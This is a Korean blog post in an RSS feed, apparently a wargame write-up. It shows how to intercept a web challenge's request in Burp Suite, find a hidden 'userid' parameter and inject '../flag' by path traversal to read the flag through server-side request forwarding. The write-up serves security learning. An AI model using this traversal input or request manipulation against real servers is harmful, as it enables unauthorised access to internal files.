&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이 웹사이트는 사용자가 값을 입력하면, 서버는 그 값을 내부 주소로 요청을 보내고, 그 결과를 받아서 사용자에게 그대로 보여주는 방식으로 작동한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;따라서 Burp Suite를 통해 이 요청을 가로채 보면,&lt;br /&gt;우리가 입력한 값이 실제로 서버 내부의 어떤 주소로 붙는지 확인할 수 있고, 이 부분을 조작해서 원래는 접근할 수 없는 경로로 서버 스스로 요청을 보내게 유도할 수 있다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;먼저 Burp Suite에서 Proxy &amp;rarr; Intercept off &amp;rarr; Open brower &amp;rarr; 브라우저가 뜨면 VM으로 제공받은 링크 입력
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;778&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJvvCy/btsQmvCVpfu/T6KHGxmRvO8k7c6TXeUig0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJvvCy/btsQmvCVpfu/T6KHGxmRvO8k7c6TXeUig0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJvvCy/btsQmvCVpfu/T6KHGxmRvO8k7c6TXeUig0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJvvCy%2FbtsQmvCVpfu%2FT6KHGxmRvO8k7c6TXeUig0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;503&quot; height=&quot;720&quot; data-origin-width=&quot;778&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;POST요청까지 안가고 GET에서 멈춰있을때 Send to Repeater
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;730&quot; data-origin-height=&quot;643&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cmIsds/btsQmftD3iG/zdDSsaL2DyTQ8GyACXkrOK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cmIsds/btsQmftD3iG/zdDSsaL2DyTQ8GyACXkrOK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cmIsds/btsQmftD3iG/zdDSsaL2DyTQ8GyACXkrOK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcmIsds%2FbtsQmftD3iG%2FzdDSsaL2DyTQ8GyACXkrOK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;502&quot; height=&quot;442&quot; data-origin-width=&quot;730&quot; data-origin-height=&quot;643&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;body에 숨겨진 파라미터인&amp;nbsp;userid발견
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이제 userid에 pathtraversal을 위한&lt;span&gt;&amp;nbsp;&lt;/span&gt;../flag를 입력하고 send하면 응답으로 flag를 받을 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;-참고문헌&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;* 참고문헌&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[파일 다운로드 취약점]&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://velog.io/@jungwoo343/%ED%8C%8C%EC%9D%BC-%EB%8B%A4%EC%9A%B4%EB%A1%9C%EB%93%9C-%EC%B7%A8%EC%95%BD%EC%A0%90&quot;&gt;https://velog.io/@jungwoo343/%ED%8C%8C%EC%9D%BC-%EB%8B%A4%EC%9A%B4%EB%A1%9C%EB%93%9C-%EC%B7%A8%EC%95%BD%EC%A0%90&lt;/a&gt;&lt;/p&gt;</description>
      <category>WARGAME/WEB</category>
      <author>eunee22</author>
      <guid isPermaLink="true">https://xmi1e-vir.tistory.com/9</guid>
      <comments>https://xmi1e-vir.tistory.com/9#entry9comment</comments>
      <pubDate>Sun, 7 Sep 2025 22:59:39 +0900</pubDate>
    </item>
  </channel>
</rss>